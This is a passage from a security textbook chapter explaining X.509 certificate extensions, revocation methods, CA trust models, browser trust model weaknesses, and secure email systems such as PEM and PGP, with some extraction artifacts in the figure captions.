the system can ignore the field and process the rest of the certificate. If a field is marked
critical and a system cannot process it, the certificate must be rejected. Some examples of
4 Usable security is discussed in Section 9.8.
8.3. ‡Certificate revocation 221
extensions follow.
• Basic-Constraints: this extension has the fields (cA, pathLenConstraint). The
first field is boolean—TRUE specifies that the public key is for a CA, FALSE specifies
that the key is not valid for verifying certificates. The second field limits the remaining
allowed certificate chain length. A length of 0 implies the CA can issue only end-
entity, i.e., leaf certificates (this CA key cannot be used to verify chain links).
• Key-Usage: this specifies allowed uses of a key, e.g., for signatures, encryption, key
agreement, CRL signatures (page 222). A separate extension, Extended-Key-Usage,
can specify further key uses such as code signing (vendor signing of code to allow
subsequent verification of data origin and integrity) and TLS server authentication.
• Subject-Alternate-Name: this may include for example an email address, domain
name, IP address, URI, or other name forms. If the Subject field is empty (which is
allowed), the alternate name must be present and marked as a critical extension.
• Name-Constraints: in CA-certificates (below), these allow CA control of Subject
names in subsequent certificates when using hierarchical name spaces. By specifying
prefixes in name subtrees, specified name spaces can be excluded, or permitted.
C ROSS - CERTIFICATE PAIRS . ITU-T X.509 standardized a data structure for a pair
of cross-certificates between CAs, each issuing a certificate for the other’s public key—
one issued-to-this-CA, one issued-by-this-CA. For example, a cross-certificate pair
can allow CAs at the roots of two hierarchies (Section 8.4) to enable secure email be-
tween their communities. This data structure can aid discovery and assembly of certificate
chains. Single (unilateral) cross-certificates are also possible strictly within one hierarchy,
but in this case, CA-certificate is a less confusing term for one CA issuing a certificate to
another. Constraints placed on cross-certificates and CA-certificates via certificate exten-
sions take on greater importance when extending trust to an outside community.
Exercise (Transitivity of trust). Certificate chains, depending on constraints, treat trust
as if it is transitive. Is trust transitive in real life? Consider the case of movie recommen-
dations from a friend. (On what subject matter do you trust your friend? From whom do
you seek legal relief if something goes wrong in a long trust chain?)
expiry; the key owner is discontinuing use of the key; or the Subject (owner) changed
job titles or affiliation and requires a new key for the new role.
We next discuss some of the main approaches used for revoking certificates.
M ETHOD I: C ERTIFICATE REVOCATION LISTS (CRL S ). A CA periodically is-
sues (e.g., weekly, perhaps more frequently) or makes available to relying parties in its
community, a signed, dated list of serial numbers of all unexpired-but-revoked certificates
among those it has issued. The CRL may be sent to members of a defined community
(push model), or published at an advertised location (pull model). Individual certificates
may themselves indicate the retrieval location. An issue with CRLs is that depending
on circumstances, their length may become cumbersome. Shortening certificate validity
periods shortens CRLs, since expired certificates can be removed from CRLs.
M ETHOD II: CRL FRAGMENTS — PARTITIONS AND DELTAS . Rather than pub-
lishing full CRLs, several variations aim to improve efficiency by using CRL fragments,
each a dated, signed sublist of serial numbers. CRL distribution points, also called parti-
tioned CRLs, break full CRLs into smaller pieces, e.g., corresponding to predefined serial
number ranges. Different ranges might be retrieved from different locations. Different
distribution points might be used for different categories of revocation reasons. A CRL
distribution point extension field (in the certificate) indicates where a relying party should
seek CRL information, and the retrieval protocol or method (e.g., LDAP, HTTP).
In contrast, the idea of delta CRLs is to publish updates to earlier lists (from the same
CA); relying parties accumulate the updates to build full CRLs. When the CA next issues
a consolidated CRL, subsequent updates are relative to this new, specified base list. To
offload the effort required to assemble and manage delta CRLs, this variation may be
supported by CRL aggregator services.
M ETHOD III: O NLINE STATUS CHECKING . In online-checking methods such as
the online certificate status protocol (OCSP), relying parties consult a trusted online server
in real time to confirm the validity status of a certificate (pull model). The appeal is in
obtaining a real-time response—ideally based on up-to-date information (a real-time re-
sponse is not necessarily based on fresh status information from the relevant CA; it might
be no fresher than a CRL). In a push-model variation called OCSP-stapling, certificate
holders frequently obtain signed, timestamped assertions of the validity of their own cer-
tificates, and include these when providing certificates to relying parties (e.g., when TLS
servers send certificates to browsers).
C OMPROMISE TIMELINE : FROM COMPROMISE TO VISIBILITY. CRLs require
no OCSP-style online revocation service, but suffer delays between when a revocation is
made, and when a relying party acquires that knowledge. Heavy focus on the urgency to
instantaneously broadcast revocation information may reduce legal liability, but overlooks
other aspects. Consider the event timeline of a private key compromise in Figure 8.4.
M ETHOD IV: S HORT- LIVED CERTIFICATES . This approach seeks to avoid the
need for revocation entirely, by instead issuing certificates with relatively short validity
periods—e.g., consider 1–4 days. The idea is that the maximum exposure window of a
short-lived certificate is its full validity period, which is perhaps similar to or less than
the exposure window of alternate methods. A drawback is the overhead of frequently
8.3. ‡Certificate revocation 223
'me
T1 T2 T3 T4 T
5 T6 T7
Figure 8.4: Certificate revocation timeline: from compromise to visibility. Possible de-
lays at T4 are mechanism-dependent, e.g., CRLs are typically issued at periodic intervals.
A benefit of OCSP mechanisms (over CRLs) is to remove the T6-to-T7 delay.
Revoca'on 'meline: from compromise to visibility.
Possible delays at T4 are mechanism dependent, e.g., CRLs are typically issued at periodic intervals.
re-issuing certificates. In the limit, short-lived certificates are created on-demand, at the
expense of real-time contact with the authority who speaks for the key’s validity, and the
full-time load this places on that authority.
M ETHOD V: S ERVING TRUSTED PUBLIC KEYS DIRECTLY. Continuing this line
of thought leads to considering entirely eliminating not only revocation, but possibly even
signed certificates, instead relying on a trusted key server to serve only valid keys.5 This
approach is best suited to a closed system with a single administrative domain; a real-
time trusted connection to the server authoritative on the validity of each target public key
requires relying parties have keying relationships with all such servers (or that one server
acts as a clearinghouse for others)—raising key management issues that motivated use of
certificates and related trust models in the first place. This approach also increases load on
servers and availability requirements, compared to end-entities interacting with a trusted
server only infrequently for new certificates. Thus significant tradeoffs are involved.
R EVOKED CERTIFICATES : CA VS . END - ENTITY. Both CA and leaf certificates
can be revoked. Consider a CA issuing (a leaf) TLS certificate for a server, to secure
browser-server connections. The server may have one or more TLS certificates from one
or more CAs. One or all of these server certificates may be revoked. The certificate of the
CA signing these certificates may also be revoked. These would all be distinct from the
certificate of an end-user being revoked. (Recall that TLS supports mutual authentication,
but in practice is used primarily for unilateral authentication of the server to the browser,
i.e., the server presents its certificate to the browser.) X.509v3 standards include Certi-
fication Authority revocation lists (CARLs), i.e., CRLs specifically dedicated to revoked
CA certificates; proper certificate chain validation includes revocation checks on CA keys
throughout the chain, excluding trust anchors. This leaves the question of how to handle
revocation of trust anchors, which albeit rare, may be by separate means, e.g., modifica-
tion of trusted certificate stores in browsers or operating systems by software updates, and
dynamic or manual changes to such stores.
D ENIAL OF SERVICE ON REVOCATION . A standard concern in certificate revoca-
tion is denial of service attacks. If a request for revocation information is blocked, the
5 For related discussion of public-key servers, see Fig. 8.14 on page 237.
224 Chapter 8. Public-Key Certificate Management and Use Cases
relying party’s system either fails closed (deciding that the safest bet is to treat the certifi-
cate as revoked), or fails open (assumes the certificate is unrevoked). In the latter case,
which violates principle P2 (SAFE - DEFAULTS), an attacker blocking revocation services
may cause a revoked certificate to be relied on.
...
...
...
...
...
... ...
CA Hub
...
...
End-entity (leaf) ...
Figure 8.5: Model I: Single-CA systems (a) and linking them. Solid arrow points from
certificate issuer to certificate subject. Double arrow indicates CA-certificates in both
directions (i.e., cross-certificate pair). Dotted arrow indicates the trust anchor embedded
in leaf’s software. Case (b) shows that for n = 3 CAs, a ring of cross-certificate pairs (each
pair of CAs signing a certificate for the public key of the other) is the same as a complete
network (all CAs directly connected to all others). For n ≥ 4, options include maintaining
a ring structure (with each CA cross-certified only with immediate neighbors in a ring
structure), or a complete network (all CAs pairwise cross-certified with all others). The
hub-and-spoke model (c) reduces the inter-connect complexity from order n2 to n.
Solid arrow points from certificate Signer to Subject. Double arrow indicates CA-certificates in both directions.
Dotted arrow indicates trust anchor.
current end-to-end secure instant messaging systems (e.g., WhatsApp Messenger). Figure
8.5 illustrates simple topologies for linking single-CA domains.
Example (Linking single-CA systems). Consider an enterprise company with three
divisions in distinct countries. Each division administers a CA for in-country employ-
ees. Each end-entity is configured to have as trust anchor its own CA’s key; see Figure
8.5(a). To enable entities of each division to trust certificates from other divisions, all
being equal trusted peers, each pair of CAs can create certificates for each other, as indi-
cated by double-arrows in Figure 8.5(b); the resulting ring-mesh of single CAs connects
the formerly disjoint single-CA systems. As the caption notes, an n = 3 ring-mesh of
CAs is a complete network, but at n = 4 CAs, the situation becomes more complex due
to combinatorics: the number of CA pairs (4 choose 2) is now 6, and as a general pattern
grows as the square of n. While direct cross-certifications between all CAs that are close
business partners may still be pursued and desirable in some cases, it comes at the cost of
complexity. This motivates an alternative: a bridge CA.
B RIDGE CA. The bridge CA trust model, also known as a hub-and-spoke model, is
an alternative for large sets of equal peers or trading partners (as demonstrated in the U.S.
Federal Bridge CA project, above). A dedicated bridge CA or hub node is introduced
specifically to reduce the cross-connect complexity. Figure 8.5(c) shows this with single-
CA subsystems; Model III’s multi-CA subsystems can likewise be bridged at their roots.
Note that the bridge CA is not a trust anchor for any end-entity (thus not a root).
M ODEL II: S TRICT HIERARCHY. A strict CA hierarchy is a system with multiple
CAs organized as a tree with multiple levels of CAs, typically a closed system (single
community). At the top is a single CA (depicted as the root of an inverted tree), followed
by one or more levels of intermediate CAs; see Fig. 8.6(a). CAs at a given tree level issue
226 Chapter 8. Public-Key Certificate Management and Use Cases
Intermediate
CA CA2 CA2 CA3
CA3
End-entity
(leaf) ... ... ... ...
e1 e2 e3 e1 e2 e3
Figure 8.6: Model II, (a) Strict CA hierarchy trust model. (b) Hierarchy with reverse
certificates. Nodes are certificates. Solid arrow points from certificate issuer to subject.
Double-arrow means CA-certificates in both directions. Dotted arrow shows trust anchor.
Certificate trust models. Strict hierarchy (a), and hierarchy with reverse certificates (b).
certificates for the public keys of CAs at the next-lower level, until at a final leaf-node
Nodes represent certificates. Solid arrow points from certificate signer to subject.
level,Double-arrow indicates CA-certificates in both directions. Dotted arrow indicates trust anchor.
the keys in certificates are (non-CA) end-entity public keys. Typically, end-entities
within the community have their software clients configured with the root CA public key
as their trust anchor. A major advantage of a strict hierarchy is clearly defined trust chains
starting from the root. In figures showing both trust anchors and certifications, the visual
trust chain begins by following a dotted arrow from a leaf to a trust anchor, and then a
path of solid arrows to another leaf. As a practice example, in Fig. 8.6(a), trace out the (a)
trust chain path from e3 to e2; then do so in Fig. 8.6(b).
H IERARCHY WITH REVERSE CERTIFICATES . A generalization of the strict hier-
archy is a hierarchy with reverse certificates. The tightly structured hierarchical design is
retained, with two major changes. 1) CAs issue certificates not only to their immediate
children CAs in the hierarchy, but also to their parent (immediate superior); these reverse
certificates go up the hierarchy. Figure 8.6(b) shows this by using double-ended arrows.
2) A leaf is given as trust anchor the CA that issued its certificate (not the root CA), i.e.,
its “local” CA, closest in the hierarchy. Trust chains therefore start at the local CA and
progress up the hierarchy and back down as necessary.
M ODEL III: R ING - MESH OF TREE ROOTS . Returning to the base of multiple
single-CA domains, suppose each single-CA domain is now a multi-CA system formed
as a tree or hierarchy. The distinct trees are independent, initially with no trust cross-
connects. Now, similar to connecting single-CA systems per Fig. 8.5, connect instead the
root CA nodes of these trees. As before, topologies to consider include complete pairwise
cross-connects, rings, and a bridge CA model. We collectively call these options a ring-
mesh of tree roots. The end result is a system joining multiple hierarchical trees into a trust
community by CA-certificates across subsets of their top CAs. If there are, say, 10 multi-
CA trees, a fully-connected graph with all (10 choose 2) pairs of roots cross-certifying
is possible, but in practice all such cross-certificate pairs might not be populated—e.g.,
not all 10 communities may wish to securely communicate with each other (indeed, some
may not trust each other). If root CAs are equal peers, the bridge CA topology may be
preferred. For Model III, the trust anchor configured into end-entities is often the root
key of their original tree (and/or their local CA key); from this, trust chains including
CA-certificates allow derived trust in the leaf nodes of other trees.
8.4. CA/PKI architectures and certificate trust models 227
e1 e1 servers
Figure 8.7: Model IV: Browser trust model. Built from multiple disjoint hierarchical trees
(a), there are no CA cross-certificates in the browser trust model (b), and leaf certificates
are for web servers (e.g., e1). Solid arrow points from certificate signer to subject.
Browser trust model (b), built from (a) multiple disjoint hierarchical trees.
Solid arrow points from certificate signer to subject. Note the absence of cross-certificates.
M ODEL IV: F OREST OF HIERARCHICAL TREES ( BROWSER MODEL ). Starting
as in Model III with a forest of (disjoint) hierarchical trees, an alternative to joining com-
munities through cross-certificates is to use trust anchor lists (Fig. 8.7). End-entities get
as trust anchors not just a single root key, but a (typically large) set of public keys cor-
responding to a collection of root CAs. Despite no cross-certificates across the tops of
disjoint trees, an end-entity can derive trust in the leaf nodes of each tree for which it has
a trust anchor. This is the approach of the browser trust model (Section 8.5), used not to
authenticate end-users, but rather to allow users’ browsers to recognize TLS-supporting
servers; thus tree leaf nodes correspond to certificates of servers (domains).
M ODEL V: D ECENTRALIZED CA TRUST (E NTERPRISE PKI MODEL ). This
model, also called a network PKI or mesh PKI architecture, may be viewed as putting
bottom-level CAs in control, i.e., the CAs that issue certificates to end-entities. The trust
anchor configured into an end-entity client is the public key of the CA that issued its cer-
tificate (based on reasoning that a leaf system has strongest trust affiliation with the CA
“closest” to it in a trust graph). Variations allow importing—often under system control
in an enterprise deployment—additional trust anchors or trust anchor lists. The model al-
lows cross-certificates to link PKI components and facilitates peer relationships (Fig. 8.8),
company-X company-Y
CAX CAY
Cross-cer2fy
CA2 CA3
e1
... ... CA
e2 e3
Dept.2 Dept.3 Leaf
Figure 8.8: Model V: Enterprise PKI model. Cross-certifying peer departments lower in
a hierarchy allows finer-grained trust peering than cross-certifying at the root.
Solid arrow points from cer2ficate Signer to Subject. Cross-cer2fying peer departments lower in the hierarchy may allow a
finer-grained trust peering than cross-cer2fying at the root. See text for further explana2on.
228 Chapter 8. Public-Key Certificate Management and Use Cases
complete networks, hierarchies, ring-meshes and bridge CAs. While not recommended,
arbitrarily complex trust graphs are allowed—albeit complexity is limited to the CA net-
work graph, whereas Model VI extends complexity further to include the end-user layer.
The useful resulting architectures are those easily understood by administrators and users.
M OTIVATION OF E NTERPRISE PKI MODEL . In practice, PKIs are often built
bottom-up, rather than fully planned before roll-out begins. Commercial products have
focused on tools suitable for use within and between corporations or government depart-
ments, i.e., enterprise products. Companies may build a PKI first within a small depart-
ment, then a larger division, then across international branches, and perhaps later wish
to extend their community to allow secure communications with trusted partner compa-
nies. Practical trust models, and associated tools and architectures, accommodate this. A
central idea is building (enlarging) communities of trust—keeping in mind that a vague
definition of trust is unhelpful. In building a PKI and selecting a trust model, a helpful
question to ask is: What is the PKI aiming to accomplish or deliver?
Example (Decentralized model: cross-certifying subsidiaries). An example of the
enterprise PKI model is for cross-certification of two subsidiaries. Consider companies X
and Y with their own strict hierarchies disjoint from each other (Figure 8.8). End-entity
clients have as trust anchor the root CA of their own company. Suppose there is a desire
for selected entities in one company to recognize some certificates from the other. Adding
root CAY of CompanyY as a trust anchor to end-entity e2 of CompanyX is a coarse-grained
solution by which e2 will recognize all certificates from CompanyY; this could likewise
be accomplished by having CAX and CAY cross-certify, but in that case it would hold
for all employees of each company (e.g., e1), not just e2. As a finer-grained alternative,
suppose the motivation stems from e2 being in a division Dept2 that has need for frequent
secure communication with Dept3 of CompanyY (as peer accounting departments). If
these divisions have their own CAs, CA2 and CA3, those CAs could cross-certify as peer
departments lower in the hierarchy. This allows e2 and e3 to trust each other’s certificates
via CA2-CA3 cross-certificates. Does e1 have a trust path to e3? Yes if end-entities have
their own tree’s root key as a trust anchor; no if end-entities only have their local CA
keys as trust anchors. CompanyX can use extension fields (Section 8.2) in the certificate
CA2 issues for CA3, to impose name, pathlength, and policy constraints (perhaps limiting
key usage to email, ruling out VPN) to limit the ability of CompanyY’s CA3 to issue
certificates that CompanyX would recognize.
Example (Decentralized model: single enterprise). Consider a single, large corpora-
tion with a deep multi-CA strict hierarchy with reverse certificates (each division has its
own CA). End-entities are configured with their local CA as trust anchor. Trust chains
between all pairs of end-entities will exist, but adding direct cross-certificates between
two divisions that communicate regularly results in shorter (simpler) chains.
M ODEL VI: U SER - CONTROL TRUST MODEL ( WEB OF TRUST ). This model has
no formal CAs. Each end-user is fully responsible for all trust decisions, including act-
ing as their own CA (signing their own certificates and distributing them), and making
individual, personal decisions on which trust anchors (other users’ certificates or public
keys) to import as trusted. The resulting trust graphs are ad hoc graphs connecting end-
8.5. TLS web site certificates and CA/browser trust model 229
entities. This is the PGP model, proposed circa 1995 for secure email among small groups
of technically oriented users, as discussed further in Section 8.7.
CA- CERTIFICATES VS . TRUST ANCHOR LISTS . To conclude this section, we note
that it has highlighted two aspects that distinguish PKI trust architectures:
1. the trust anchors that end-entity software clients are configured with (e.g., the public
keys of CAs atop hierarchies, vs. local CAs); and
2. the relationships defined by CA-certificates (i.e., which CAs certify the public keys of
which other CAs).
These aspects define how trust flows between trust domains (communities of trust), and
thus between end-users.
means in browsers to effectively communicate the differences between EV and (OV, DV)
certificates, it remains unclear what added value EV certificates deliver to users. This is
discussed further in Section 9.8, along with the challenge of conveying to users the pres-
ence of EV certificates. For example (Fig. 8.9) on browser user interfaces, EV certificates
may result in the URL bar/lock icon being colored differently (this varies by browser, and
over time) and the URL bar displaying a certificate Subject’s name and country.
S ELF - SIGNED TLS SERVER CERTIFICATES . Self-signed TLS certificates were
once common (before free DV certificates became popular); non-commercial sites often
preferred to avoid third-party CAs and related costs. Over time, browser dialogues were
reworded to discourage or entirely disallow this (recall Fig. 8.3, page 219). Relying on
self-signed certificates (and/or blind TOFU) should be strongly discouraged for non-leaf
certificates, due to trust implications (private keys corresponding to CA certificates can
sign new certificates). However, this method has been used for distributing email client
leaf certificates (incoming email offers a sender’s encryption and signature public keys).
232 Chapter 8. Public-Key Certificate Management and Use Cases
Example (Number of TLS CAs). A March 2013 Internet study observed 1832 browser-
trusted CA signing certificates, including both trust-anchor CA and intermediate-CA cer-
tificates, associated with 683 organizations across 57 countries [14].
Exercise (Self-signed certs). Build your own self-signed certificate using a popular
crypto toolkit (e.g., OpenSSL). Display it using a related certificate display tool.
Exercise (Domain mismatch). Discuss practical challenges related to domain mis-
match errors, i.e., checking that the domain a browser is visiting via TLS matches a suit-
able subfield of a certificate Subject or Subject-Alternate-Name (hint: [51]).
Exercise (CA compromises). Look up and summarize the details related to prominent
compromises of real-world CAs (hint: [3]).
Figure 8.10: General tab, TLS site certificate (Firefox 55.0.1 UI). The UI tool, un-
der Issued To, displays the certificate Subject with subfields CN (giving domain
name www.amazon.com), O and OU; compare to Figure 8.11. Issued By indicates the
certificate-signing CA. Under Fingerprints are the hexadecimal values of the certificate
hashed using algorithms SHA-256 and SHA1, to facilitate a manual security cross-check.
Figure 8.11: Details tab, TLS site certificate (Firefox 55.0.1). The Certificate Hierarchy
segment displays the certificate chain. As the user scrolls through the middle portion to
access additional fields, a selected field (“Issuer” here) is highlighted by the display tool
and its value is displayed in the lower portion. Notations OU (organizational unit), O
(organization), and C (country) are remnants of X.500 naming conventions.
a browser to trust any web site. We define a rogue certificate as one created fraudulently,
not authorized by the named Subject (e.g., created by an untrustworthy CA or using the
private key of a compromised CA). A list of main limitations follows.
1. Rogue certificates are accepted (sometimes called certificate substitution attacks). They
are deemed valid by all browsers housing a corresponding CA public key as a trust an-
chor. The trust model is thus fragile, in that regardless of the strength of other CAs,
the entire system can be undermined by a single rogue CA (weak link) that gains the
endorsement of a trust anchor CA. This violates principle P13 (DEFENSE - IN - DEPTH).
2. TLS-stripping attacks are easily mounted. Here a legitimate server signal to a browser
to upgrade from HTTP to HTTPS, is interfered with such that no upgrade occurs. Data
transfer continues over HTTP, without cryptographic protection. One solution is to
eliminate HTTP entirely, mandating HTTPS with all sites; this suggestion is not popular
with sites that do not support HTTPS. A related option is mechanisms that force use of
HTTPS whenever a browser visits a site that supports it; a browser extension pursuing
this option is aptly called HTTPS Everywhere. Vulnerability to TLS stripping may be
viewed as breaking P2 (SAFE - DEFAULTS), as the current default is (unsecured) HTTP.
3. Revocation remains poorly supported by browsers. When revocation services are un-
available, browsers commonly proceed as if revocation checks succeeded. Such “fail-
234 Chapter 8. Public-Key Certificate Management and Use Cases
4. Trust agility is poorly supported. This refers to the ability of users to alter trust anchors.
Most users actively rely on few trust anchors; browser and OS vendors commonly
embed hundreds. This violates principle P6 (LEAST- PRIVILEGE) as well as principle
P17 (TRUST- ANCHOR - JUSTIFICATION), and is particularly dangerous as certificate
chaining then transitively extends (false) trust in one trust anchor to many certificates.
As a case study of flaws in a system in use for 25 years, these issues remain useful to
understand, even should they be resolved by future alterations of the browser trust model.
‡Exercise (Public log of TLS certificates). Certificate Transparency (CT) is among
promising proposals to address limitations of the CA/browser trust model. The idea is to
require that all certificates intended for use in TLS must be published in a publicly ver-
ifiable log. (a) Summarize the technical design and advantages of CT over mainstream
alternatives (hint: [31]). (b) Summarize the abstract technical properties CT aims to de-
liver (hint: [13]). (c) Summarize the findings of a deployment study of CT (hint: [48]).
‡Exercise (DANE certificates). As an alternative to CA-based TLS certificates, cer-
tificates for TLS sites (and other entities) can be distributed by association with DNS
records and the DANE protocol: DNS-based Authentication of Named Entities. Describe
how DANE works, and its relationship to DNSSEC (hint: [22]).
‡Exercise (Heartbleed incident). Standards and software libraries allow concentration
of security expertise on critical components of a software ecosystem. This also, however,
concentrates risks. As a prominent example, the Heartbleed incident arose due to a sim-
ple, but serious, implementation flaw in the OpenSSL crypto library. Give a technical
summary of the OpenSSL flaw and the Heartbleed incident itself (hint: [15]).
‡Exercise (CDNs, web hosting, and TLS). Content delivery networks (CDNs), in-
volving networks of proxy servers, are used to improve performance and scalability in
delivering web site content to users. They can also help mitigate distributed denial of ser-
vice (DDoS) attacks through hardware redundancy, load balancing, and isolating target
sites from attacks. When CDNs are used to deliver content over HTTPS, interesting is-
sues arise, and likewise when web hosting providers contracted by web sites must deliver
content over HTTPS. Explore and report on these issues, including unexpected private-key
sharing and use of cruiseliner certificates (hint: [32, 8]).
‡Exercise (TLS challenges in smartphone and non-browser software). Discuss certifi-
cate validation challenges (and related middle-person attacks) in use of TLS/SSL by: (a)
smartphone application software (hint: [16]); and (b) non-browser software (hint: [20]).
8.6. Secure email overview and public-key distribution 235
can make no decision given only an asserted ID [email protected], if the user is unsure
of the address; an analogous issue exists with key servers (cf. ownerID, Fig. 8.14a).
Exercise (Cleartext header section). A typical end-to-end secure email design (Fig.
8.13) leaves the content header unencrypted. What information does this leave exposed to
eavesdroppers? What are the obstacles to encrypting the content header section?
Exercise (Order of signing and encrypting). Commercial mail products may first
compute a digital signature, and then encrypt both the signature and content body. What
advantage does this offer, over first encrypting the body and signing afterwards?
‡F URTHER CONTEXT. In contrast to end-to-end secure email, common browser-
based mail clients (webmail interfaces) use TLS link encryption between users and mail
servers, but the message body is then available as cleartext at various servers. End-to-end
secure email deployment is complicated by mailing lists and mail forwarding; these are
beyond our scope, as is origin-domain authentication used by mail service providers.
‡E ND - TO - END ENCRYPTION VS . CONTENT SCANNING . Various measures are
used by mail service providers to combat spam, phishing, malicious attachments (in-
cluding executables that users may invoke by double-clicking), and embedded malicious
scripts (which some MUAs that support HTML email automatically execute). As end-
to-end encryption renders plaintext content inaccessible to mail-processing servers, this
precludes content-based malware- and spam-detection by service providers. While key
escrow architectures can provide plaintext access at gateway servers, e.g., by retrieving an
escrowed copy of the mail originator’s decryption private key, costs include performance,
defeating end-to-end encryption, and risks due to added complexity and attack surface.
clients with trust anchors matching enterprise policy, and with access to suitable certifi-
cate directories. Enterprise PKI trust models (Section 8.4) facilitate trust with similarly
configured peer organizations. This leaves unaddressed secure communication with users
beyond the closed community. Making public keys available, e.g., by inclusion in earlier
cleartext email, does not resolve whether keys can be trusted—that depends on CA/PKI
models and trust anchors. In contrast, open communities have users with widely varying
requirements, and no small set of CAs is naturally trusted by all; thus a one-size-fits-all
solution is elusive. One option is to continue with plaintext email. A second is to mi-
grate outsiders into the closed community—but by definition, a closed community does
not contain everyone. A third option is ad hoc trust management (PGP, below).
PEM ( PRIVACY- ENHANCED MAIL ). The first major secure email effort began in
1985. PEM used X.509 certificates and a hierarchy with one root, the Internet PCA Reg-
istration Authority (IPRA), issuing certificates starting all certificate chains. The IPRA
public key was embedded in all PEM mail clients. Below this root CA at hierarchy
level two, Policy CAs (PCAs) operating under designated policies issued certificates to
intermediate CAs or directly to end-users—e.g., high-level assurance PCAs (for enter-
prise users), mid-level assurance PCAs (for educational users), residential PCAs (for pri-
vate individuals), and persona PCAs (for anonymous users). PEM clients were trusted
to retrieve—from local caches or directories—and verify user certificates corresponding
to email addresses. A CRL-typed mail message delivered CRLs, with PCAs responsible
for revocation information being available. Subject distinguished names (DNs) followed
the CA hierarchy (i.e., DNs were subordinate to the issuing CA’s name), restricting the
name space for which each CA was allowed to issue certificates. PEM was superseded by
S/MIME.
PGP: CONTEXT. Released as open-source file encryption software in 1991, PGP’s
primary use is for end-to-end secure email. It was motivated by a desire to empower
individuals in opposition to centralized control, and against the backdrop of (old) U.S.
crypto export controls. Its complicated evolution has included intentional message format
incompatibilities (driven by patent license terms), algorithm changes to avoid patents,
corporate versions, IETF-standardized OpenPGP, and later implementations (e.g., Gnu
Privacy Guard/GPG). Despite confusion on what “PGP” means (e.g., a message format,
format of public keys, trust model, company), and recent PGP implementations pursuing
interoperability with X.509 certificates, its core concepts remain an interesting case study.
PGP: CORE CONCEPTS . Core PGP avoids CAs and X.509 certificates. Instead it
uses a PGP key-packet (bare public key), which, when associated by client software to a
userID (username and email address), is a lightweight certificate (unsigned). A collection
of one or more keys is a keyring. A public keyring holds public keys; a private keyring
holds a user’s own private keys, individually encrypted under a key derived from a user-
chosen passphrase. PGP’s preferred method for one user to trust that a public key belongs
to another is an in-person exchange of keys (originally by floppy disk); the user then has
their client software tag the key-packet as trusted. Publishing a hexadecimal hash string
corresponding to a PGP public key on a business card or web site, or relaying this by
phone, would facilitate cross-checking. As this scales poorly, trusted introducers were
240 Chapter 8. Public-Key Certificate Management and Use Cases
added: if Alice designates Tom as a trusted introducer, and Tom endorses Bob’s key-
packet, Alice’s client will trust Bob’s key-packet also. Users configure their client to
designate trusted introducers as fully or partially trusted; e.g., a key-package, to be client-
trusted, must be endorsed by one fully trusted or two partially trusted introducers. Trusted
introducers thus serve as informal end-user CAs. The PGP web of trust results.
PGP TRANSFERABLE KEYS . To help client software manage PGP key-packets (bare
keys), they are accompanied by further fields creating transferable public keys. The bare
key is followed by one or more userID packets each followed by zero or more signa-
ture packets (endorsements attesting the signer’s belief that the public key belongs to the
userID). Thus transferable public keys reconstruct the basic idea of X.509 certificates, re-
placing the signature of a centralized CA with possibly multiple endorsements of various
end-users. Users are encouraged to upload transferable public keys to PGP keyservers
hosting public keyrings of such keys; the trust placed in such keys by others depends on
how PGP clients of downloading users are locally configured to evaluate endorsements.
PGP ISSUES . PGP’s core architectural design reflects its original objectives, but is
not expected to match secure email requirements in general. Challenges include these:
1. The manual exchange of public keys, and ad hoc web of trust, do not scale to larger
communities. (Ironically, as an initial deployment advantage, a small closed group can
get started with manual key distribution without needing to first set up a heavyweight
infrastructure.)
2. User management of trust requires technical expertise that ordinary users lack, includ-
ing the ability to distinguish between trusting a key for personal use, endorsing keys
for other users, and designating trusted introducers in PGP clients.
3. The non-centralized model leaves revocation of PGP keys unresolved. Users are re-
sponsible for communicating key revocation to all others possibly relying on their key
(including through trusted introducers), yet there appears no reliable means to do so.
4. Poor usability, in part due to lack of seamless integration into popular email clients,
has impeded mainstream acceptance and deployment of PGP functionality.
S ECURE EMAIL STATUS IN PRACTICE . Email continues to be a dominant commu-
nication tool, despite ubiquitous use of popular messaging applications, and older text-
messaging technology. End-to-end secure email, however, enjoys comparatively little
public deployment, due to multiple factors. Competing email technologies result in in-
teroperability and deployment problems. Certificate and key management tools fall short
on both usability and availability, particularly in open communities lacking enterprise ex-
pertise and administration. Stalemates appear unresolvable between stakeholders with
incompatible priorities—e.g., those of law enforcement vs. privacy enthusiasts, and tra-
ditional end-to-end encryption at odds with email service providers’ desire for access to
message content for malware and spam filtering. Adoption of webmail services (vs. older
client-based mail) is another complication. While it appears unlikely that all barriers to
wide use of end-to-end secure email will disappear, its history remains among the most
interesting case studies of real-world adoption of secure communication technologies.
8.8. ‡End notes and further reading 241
[1] C. Adams, S. Farrell, T. Kause, and T. Mononen. RFC 4210: Internet X.509 Public Key Infrastructure
Certificate Management Protocol (CMP), Sept. 2005. Standards Track; obsoletes RFC 2510; updated
by RFC 6712.
[2] C. Adams and S. Lloyd. Understanding Public-Key Infrastructure (2nd edition). Addison-Wesley,
2002.
[3] A. Arnbak, H. Asghari, M. van Eeten, and N. V. Eijk. Security collapse in the HTTPS market. Comm.
ACM, 57(10):47–55, 2014.
[4] R. Barnes, J. Hoffman-Andrews, D. McCarney, and J. Kasten. RFC 8555: Automatic Certificate Man-
agement Environment (ACME), Mar. 2019. Proposed Standard.
[5] CA/Browser Forum. Baseline requirements for the issuance and management of publicly-trusted cer-
tificates. Version 1.5.6, 5 February 2018. https://cabforum.org.
[6] CA/Browser Forum. Guidelines for the issuance and management of Extended Validation certificates.
Version 1.6.8, 21 December 2017 (effective 9 March 2018). https://cabforum.org.
[7] J. Callas, L. Donnerhacke, H. Finney, D. Shaw, and R. Thayer. RFC 4880: OpenPGP Message Format,
Nov. 2007. Proposed Standard; obsoletes RFC 1991, RFC 2440.
[8] F. Cangialosi, T. Chung, D. R. Choffnes, D. Levin, B. M. Maggs, A. Mislove, and C. Wilson. Measure-
ment and analysis of private key sharing in the HTTPS ecosystem. In ACM Comp. & Comm. Security
(CCS), pages 628–640, 2016.
[9] J. Clark and P. C. van Oorschot. SoK: SSL and HTTPS: revisiting past challenges and evaluating
certificate trust model enhancements. In IEEE Symp. Security and Privacy, pages 511–525, 2013.
[10] D. Cooper, S. Santesson, S. Farrell, S. Boeyen, R. Housley, and W. Polk. RFC 5280: Internet X.509
Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile, May 2008. Pro-
posed Standard; obsoletes RFC 3280, 4325, 4630; updated by RFC 6818 (Jan 2013). RFC 6211 explains
why the signature algorithm appears twice in X.509 certificates.
[11] L. F. Cranor and S. Garfinkel, editors. Security and Usability: Designing Secure Systems That People
